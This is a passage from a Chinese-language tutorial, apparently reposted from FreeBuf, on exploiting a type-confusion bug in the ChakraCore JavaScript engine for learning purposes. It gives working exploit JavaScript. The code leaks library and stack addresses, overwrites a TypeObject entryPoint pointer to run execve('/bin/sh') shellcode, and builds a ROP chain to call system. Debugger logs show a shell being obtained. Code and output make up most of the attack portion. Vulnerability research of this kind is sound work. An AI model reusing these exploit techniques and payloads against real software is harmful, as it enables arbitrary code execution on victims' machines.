kali$ gdb ./ch pwndbg> set args exp.js pwndbg> r Starting program: ch exp.js ... ... leak fake_object_array address: 0x7efca747c140 [*] read data from 0x7efca747c140:0x7efca3d791c0 [*] read data from 0x7efca3d791c0:0x7efca312c960 [*] leak chakra.so base addr:0x7efca2fa1000 [*] read data from 0x7efca3dc26e0:0x7efca5a67070 [*] leak libc base addr:0x7efca59d0000 [*] write data to 0x7efca3dc2108:0x7efca5a1f440 ... ... process 19811 is executing new program: /bin/dash $ uname -a [New process 20210] process 20210 is executing new program: /bin/uname Linux kali 4.18.0-20-generic #21~18.04.1-Ubuntu SMP Wed May 8 08:43:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux $
可以发现程序成功调用了system函数。
需要注意的地方
在读取libChakraCore.so GOT表中关于libc.so函数的地址时,比如起初读取的是GOT表中的read函数:
pwndbg> r [*] read data from 0x7f68263e9548:0x7f6828f3c340 pwndbg> telescope 0x7f68263e9548 0x50 00:0000│ 0x7f68263e9548 (GOT+1352) —▸ 0x7f6828f3c340 (read) ... ... 33:0198│ 0x7f68263e96e0 (GOT+1760) —▸ 0x7f682808e070 (malloc) pwndbg> vmmap 0x7f6828f3c340 <-- read函数实际上是libpthread.so里的函数 0x7f6828f2b000 0x7f6828f45000 r-xp 1a000 0 /.../libpthread-2.27.so pwndbg> vmmap 0x7f682808e070 <-- malloc函数实际上是libc.so里的函数 0x7f6827ff7000 0x7f68281de000 r-xp 1e7000 0 /.../libc-2.27.so pwndbg>
可以发现GOT表中read函数链接的是libpthread.so里的函数,而malloc链接的才是libc.so里的函数,因此如果我们想要得到libc的基地址,只能去读取malloc才行。出现上述现象的原因是,chakra运行时调用了某些libpthread中的函数。
2. 修改entryPoint劫持执行流
还记得前面伪造DataView时学习的chakra的对象结构吗?这里我们就要用到对象结构中的知识点。从前面基础知识可知,一个JavaScript DataView对象包含8个成员变量:
DataView对象结构 |
---|
[0] vtable指针 |
[1] TypeObject指针 |
[2] Dynamic Object Content |
[3] Dynamic Object Content |
[4] buffer size |
[5] ArrayBuffer Object指针 |
[6] byteoffset |
[7] 目的缓冲区地址 |
其中第二个成员变量TypeObject指针指向了一个代表该对象类型的结构体:
TypeObject对象结构 |
---|
[0] TypeId |
[1] JavaScriptLibrary |
[2] Prototype |
[3] entryPoint <– 函数指针 |
[4]PropertyCache |
这里需要注意TypeObject+0×18位置的entryPoint函数指针。只要拥有该指针的JavaScript对象被当做函数调用时,这个函数指针就会被调用。假设我们定义了一个对象var f = [],只要我们在JavaScript中执行f()将f作为一个函数执行,那么它内部的entryPoint指针就会被调用。正常情况下f并不是一个函数,因此会报TypeError: Function expected错误,但entryPoint指针已经被调用了。
那如果我们把这个entryPoint指针替换为shellcode的地址,那不就可以执行我们的shellcode了吗? 当然,这是可行的!
在最后付诸实施之前,我们还得解决一个问题。虽然我们通过类型混淆漏洞可以获得shellcode的内存地址,也可以通过任意地址写原语将entryPoint指针修改为shellcode内存地址,但首先需要确保shellcode所在内存是可读可写可执行的。
比较幸运也比较奇怪的是,chakracore默认编译时,会把所有的js对象放在一个可读可写可执行的内存页上。这给我们提供了很大的便利。比如我们通过前面漏洞泄露了一个shellcode数组的内存地址:
var shellcode = [1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0]; var shellcode_addr = 0x0; function opt(arr, s) { arr[0] = 1.1; if (s !== null) { let tmp = 'a'.localeCompare(s); } arr[0] = 2.3023e-320; fake_object_array_addr = f2i(arr[1]); arr[1] = i2f(fake_object_array_addr + 0x58); shellcode_addr = f2i(arr[2]); } var arr = [1.1, 2.2, 3.3, 4.4]; // JIT优化 for(let i=0; i < 10000; i++) { 'a'.localeCompare('x', []); opt(arr, null); try{ opt(arr, {toString: () => { throw 1; }}); }catch(e){ } } // 触发漏洞 try{ opt(arr, {toString: () => { arr[1] = fake_object_array; arr[2] = shellcode; }}); }catch(e){ } print("leak shellcode address: " + hex(shellcode_addr));
我们就能泄露出shellcode数组对象的内存地址了,gdb中调试如下:
pwndbg> r ... ... leak shellcode address: 0x7f5ddd3c7b40 pwndbg> vmmap 0x7f5ddd3c7b40 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7f5ddd3b8000 0x7f5ddd3c8000 rwxp 10000 0 pwndbg> x/8gx 0x7f5ddd3c7b40+0x58 0x7f5ddd3c7b98: 0x3ff0000000000000 0x4000000000000000 0x7f5ddd3c7ba8: 0x4008000000000000 0x4010000000000000 0x7f5ddd3c7bb8: 0x4014000000000000 0x4018000000000000 0x7f5ddd3c7bc8: 0x401c000000000000 0x00007f5ddd40d820 pwndbg>
可以看到shellcode数组所在内存页默认是可读可写可执行的,另外根据前面数组对象的内存布局,+0×58位置就是数组内容所在内存,我们只要将这块内存修改为shellcode就行了。
write64(shellcode_addr+0x58 , 0x0000485299583b6a); write64(shellcode_addr+0x58+6 , 0x00006e69622f2fbb); write64(shellcode_addr+0x58+12 , 0x00005f545368732f); write64(shellcode_addr+0x58+18 , 0x0000050f5e545752); let type_object_addr = read64(shellcode_addr + 0x8); let entry_point_ptr = type_object_addr + 0x18; write64(entry_point_ptr, shellcode_addr+0x58); shellcode();
如上所述,最后将shellcode当做一个函数调用就可以触发shellcode调用了,gdb调试结果如下:
pwndbg> c Continuing. [*] write data to 0x7f97a4027b98:0x485299583b6a [*] write data to 0x7f97a4027b9e:0x6e69622f2fbb [*] write data to 0x7f97a4027ba4:0x5f545368732f [*] write data to 0x7f97a4027baa:0x50f5e545752 ... ... process 29374 is executing new program: /bin/dash $ uname -a Linux kali 4.18.0-20-generic #21~18.04.1-Ubuntu SMP Wed May 8 08:43:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux $
这里需要注意的是,我自己实现的write64只能最多写6个字节,估计还是和上一篇v8漏洞利用遇到的FloatArray不能写高地址的问题类似,因此在写shellcode时,最多每次写6个字节。
备注:chakracore中没有讲解webassembly的shellcode触发方式,是因为自己在调试时发现chakracore生成wasm对象后并没有像v8一样多出来一个RWX内存页。自己也没找到wasm对象生成的处理指令所在位置。但幸运的是,存储js对象的内存页本来就是RWX属性,entryPoint指针直接满足了我们的需求。如果有会wasm调用shellcode的大佬,恳请指点一下,感激不尽。
3. 高级:泄露environ变量劫持栈构造ROP
这里算是补充之前学习堆利用时没学到的一个知识点吧。
在libc.so.6中,有一个全局变量environ,该变量位置存储了程序运行之后整个栈的基地址。因此,在泄露libc地址后,很容易通过读取该全局变量获得程序的栈基址。
根据对栈的理解,每次调用一个函数,程序都会将当前函数的下一条指令地址压入栈中。栈基地址位于高地址,那么低地址处肯定是程序运行过程中的整个栈空间,在某些地址肯定存储着自程序运行以来所有的ret返回地址。因此只要我们修改其中一个ret返回地址,就可以构造我们想要的ROP了。利用思路如下:
泄露栈基地址
篡改某个返回地址为system函数的ROP
笔者在libc2.27中environ全局变量的偏移如下:
.bss:00000000003EE098 environ
与前面第一种方法类似,泄露栈基地址的js语句实现如下:
let vtable_addr = read64(fake_object_array_addr); let chakraso_func_addr = read64(vtable_addr); let chakraso_base_addr = chakraso_func_addr - 0x18B960; print("[*] leak chakra.so base addr:" + hex(chakraso_base_addr)); let chakraso_got_malloc_addr = chakraso_base_addr + 0xE216E0; let libc_malloc_addr = read64(chakraso_got_malloc_addr); let libc_basse_addr = libc_malloc_addr - 0x97070; print("[*] leak libc base addr:" + hex(libc_basse_addr)); let libc_environ_addr = libc_basse_addr + 0x3EE098; let stack_base_addr = read64(libc_environ_addr); print("[*] leak stack base addr:" + hex(stack_base_addr));
gdb中调试结果如下:
pwndbg> r Starting program: Release/ch exp.js leak fake_object_array address: 0x7f0afe64c140 [*] read data from 0x7f0afe64c140:0x7f0afaf401c0 [*] read data from 0x7f0afaf401c0:0x7f0afa2f3960 [*] leak chakra.so base addr:0x7f0afa168000 [*] read data from 0x7f0afaf896e0:0x7f0afcc2e070 [*] leak libc base addr:0x7f0afcb97000 [*] read data from 0x7f0afcf85098:0x7fffc03cf670 [*] leak stack base addr:0x7fffc03cf670
此时以该地址为基地址,查看低地址处的内容:
pwndbg> telescope 0x7fffc03cf670-0x200 0x100 0f:0078│ 0x7fffc03cf4e8 —▸ 0x55e2753d57db (main+1563) ◂— mov r15d, eax <-- 这里存储着一个返回地址 10:0080│ 0x7fffc03cf4f0 —▸ 0x7fffc03cf658 —▸ 0x7fffc03d00aa ◂— 'Release/ch' 11:0088│ 0x7fffc03cf4f8 —▸ 0x7f0afcf87628 (__exit_funcs_lock) ◂— 0 12:0090│ 0x7fffc03cf500 —▸ 0x55e27655f510 ◂— 0x55e27655f510 ... ↓ 1b:00d8│ 0x7fffc03cf548 ◂— 0x0 1c:00e0│ 0x7fffc03cf550 —▸ 0x55e2753d2e00 (_start) ◂— xor ebp, ebp 1d:00e8│ 0x7fffc03cf558 —▸ 0x7fffc03cf650 ◂— 0x2 1e:00f0│ 0x7fffc03cf560 ◂— 0x0 ... ↓ 20:0100│ 0x7fffc03cf570 —▸ 0x55e27541d550 (__libc_csu_init) ◂— push r15 21:0108│ 0x7fffc03cf578 —▸ 0x7f0afcbb8b97 (__libc_start_main+231)
发现在栈基地址-0×200+0×78处存储着一个main函数相关的返回地址,因此我们可以劫持这个ret返回地址构造system的ROP。具体步骤就是,先在堆中申请一块内存放上要执行的命令字符串,得到其地址;然后在上述ret地址处写一个pop rdi; ret的ROP,将命令字符串地址存入rdi,然后调用system即可。ret处的ROP布局为:
pop rdi; retROP地址 |
---|
命令字符串地址 |
system函数地址 |
具体寻找ROPgadget的过程不再赘述,实现的js代码如下:
var command = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8]; var command_addr = 0x0; // 这里省略了通过漏洞泄露command_addr的过程,具体见github附件内容 // ...... // write "/bin/sh\0" 自己可以修改为想要的任何命令字符串 write64(command_addr+0x58 , 0x6e69622f); write64(command_addr+0x58+4 , 0x0068732f); // 泄露栈基地址后,覆盖写为ROP write64(stack_base_addr-0x200+0x78, pop_rdi_ret); write64(stack_base_addr-0x200+0x78+0x8, command_addr+0x58); write64(stack_base_addr-0x200+0x78+0x10, libc_system_addr);
如果现在你把之前的js代码组合在一起运行的话,恭喜你,和我一样踩了一个chakracore的大坑。
我们现在覆盖的是0x55e2753d57db (main+1563)这个栈地址,当程序执行到这里时,也就是chakracore已经解析完所有js代码了,它在这之前做了一件非常让我们非常“生气”的事情,它把存储js对象的内存页给unmap掉了:
pwndbg> telescope 0x7fffe6d049f0-0x200+0x78 <-- 覆盖返回地址后的栈空间布局 00:0000│ 0x7fffe6d04868 —▸ 0x7f8ed41ed55f (init_cacheinfo+239) ◂— pop rdi 01:0008│ 0x7fffe6d04870 —▸ 0x7f8ed5c7c238 ◂— 0x68732f6e69622f /* '/bin/sh' */ 02:0010│ 0x7fffe6d04878 —▸ 0x7f8ed421b440 (system) ◂— test rdi, rdi 03:0018│ 0x7fffe6d04880 —▸ 0x559de2d1b4f0 ◂— 0x559de2d1b4f0 04:0020│ 0x7fffe6d04888 ◂— 0x2 05:0028│ 0x7fffe6d04890 ◂— 0x7fff00000002 06:0030│ 0x7fffe6d04898 —▸ 0x559de23fe780 —▸ 0x559de23fe7a0 07:0038│ 0x7fffe6d048a0 —▸ 0x559de07cb030 (PrintUsage()) pwndbg> x/s 0x7f8ed5c7c238 <-- 此时还可以正常访问存储js对象内存页 0x7f8ed5c7c238: "/bin/sh" pwndbg> c ...... Program received signal SIGSEGV (fault address 0x0) pwndbg> x/s 0x7f8ed5c7c238 <-- 继续执行以后,发现存储js对象的内存页被unmap掉了 0x7f8ed5c7c238: <error: Cannot access memory at address 0x7f8ed5c7c238> pwndbg> vmmap 0x7f8ed5c7c238 There are no mappings for specified address or module. pwndbg>
因此,我们需要重新从栈中找一个ret地址构造我们的ROP,并且需要保证程序运行到该ret地址时,仍旧在解析js对象才行。经过搜索,我们找到了栈基地址-0×900+0×88的栈地址,这里ret返回地址代表的是处理JS对象的一个函数,表明程序目前还没有释放存储js对象的内存页。因此这里是一个非常好的选择:
pwndbg> telescope 0x7ffcae366df0-0x900 0x50 00:0000│ 0x7ffcae3664f0 —▸ 0x7ffcae366578 —▸ 0x7f57e2b82bdb (JsRun+315) <-- 思考:这里为什么不是地址呢? ... ... 0f:0078│ 0x7ffcae366568 —▸ 0x7f57e6e2a0c0 —▸ 0x7f57e3762b40 10:0080│ 0x7ffcae366570 —▸ 0x7ffcae366610 —▸ 0x7ffcae3668e0 11:0088│ 0x7ffcae366578 —▸ 0x7f57e2b82bdb (JsRun+315) <-- 这里的ret地址 12:0090│ 0x7ffcae366580 ◂— 0x0
具体修改偏移后,就能实现system调用了。
小技巧:这里大家可能会问如何找到栈基地址-0×900+0×88就是ret返回地址呢?一个小技巧就是,在breakpoint()下断点后,可以查看此时的EBP调用链,EBP调用链上每个内存地址+8的内存存储的都是返回地址。
RBP 0x7ffdca9791a0 —▸ 0x7ffdca979220 —▸ 0x7ffdca979250 —▸ 0x7ffdca9792f0 —▸ 0x7ffdca9793a0
.....
pwndbg> telescope 0x7ffdca9793a0
00:0000│ 0x7ffdca9793a0 —▸ 0x7ffdca9793d0 —▸ 0x7ffdca9797d0 —▸ 0x7ffdca9797f0 —▸ 0x7ffdca979800
01:0008│ 0x7ffdca9793a8 —▸ 0x7f9ae4fef3be (Js::InterpreterStackFrame: rocess()+302)
pwndbg> telescope 0x7ffdca979800
00:0000│ 0x7ffdca979800 —▸ 0x7ffdca979820 —▸ 0x7ffdca9798f0 —▸ 0x7ffdca979910 —▸ 0x7ffdca979af0
01:0008│ 0x7ffdca979808 —▸ 0x7f9ae52a3c8e (amd64_CallFunction+78)
另外,在构造system的ROP时,会遇到system函数内部以栈内存作为地址进行读写的指令,而很有可能栈在执行到ret地址之前就被清零了,从而造成内存访问异常。此时通过一些增加一些ROP改变栈布局,即可绕过这些限制。
比如,在我调试时,system函数内部需要将rsp + 0×40作为地址进行访问:
0x7f51cf48f2f6 <do_system+1094> movaps xmmword ptr [rsp + 0x40], xmm0
而不幸的是,执行到这条指令时,rsp + 0×40被程序的正常流程给清零了,从而会出现内存访问异常。
Program received signal SIGSEGV (fault address 0x0)
此时rsp + 0×40处的栈空间布局为:
pwndbg> telescope $rsp+0x40 00:0000│ 0x7ffd2bf66248 ◂— 0x0 01:0008│ 0x7ffd2bf66250 —▸ 0x7fbc135dae9f
因此为了绕过这个限制,提前增加一个ret指令的rop使得$rsp+0×40加8,保证rsp + 0×40指向可写的内存地址。实现的js代码如下:
write64(stack_base_addr-0x878, pop_rdi_ret+1); // ret rop write64(stack_base_addr-0x878+8, pop_rdi_ret); // pop rdi; ret rop write64(stack_base_addr-0x878+0x10, command_addr+0x58); // command str write64(stack_base_addr-0x878+0x18, libc_system_addr); // system address
0×09 总结
总结了N天,终于将chakracore的漏洞利用入门写完了。研究chakracore后最大的一点感触就是,这个研究过程解决了自己在学习v8漏洞利用中的很多误区,比如说对wasm的理解。还学习到了调试v8没学习到的利用方法,感觉收获颇丰。
文中涉及的chakracore程序和exp已存放在github上。如有错误,敬请斧正。
github地址: https://github.com/walkerfuz/writeups
0×10 参考
下面这些参考给我个人带来了很大帮助,建议喜欢的童鞋深入读一读。
[1] Chakra 引擎中 JIT 编译优化过程中的数组类型混淆漏洞分析 https://paper.seebug.org/768/
[2] Edge Type Confusion利用:从type confused到内存读写 https://www.anquanke.com/post/id/98774
[3] Edge Type Confusion利用:从内存读写到控制流程 https://www.anquanke.com/post/id/98775
[4] Chakrazy – exploiting type confusion bug in ChakraCore engine https://bruce30262.github.io/Chakrazy-exploiting-type-confusion-bug-in-ChakraCore/
[5] Mitigation bounty — From read-write anywhere to controllable calls https://medium.com/@mxatone/mitigation-bounty-from-read-write-anywhere-to-controllable-calls-ca1b9c7c0130
*本文原创作者:walkerfuz,本文属FreeBuf原创奖励计划,未经许可禁止转载
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- Java RMI漏洞利用
- Firefox漏洞利用研究(一)
- phpcms网站漏洞修复之远程代码写入缓存漏洞利用
- 2018最新PHP漏洞利用技巧
- LearnX控件漏洞挖掘与利用
- Nday 漏洞从挖掘到利用
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。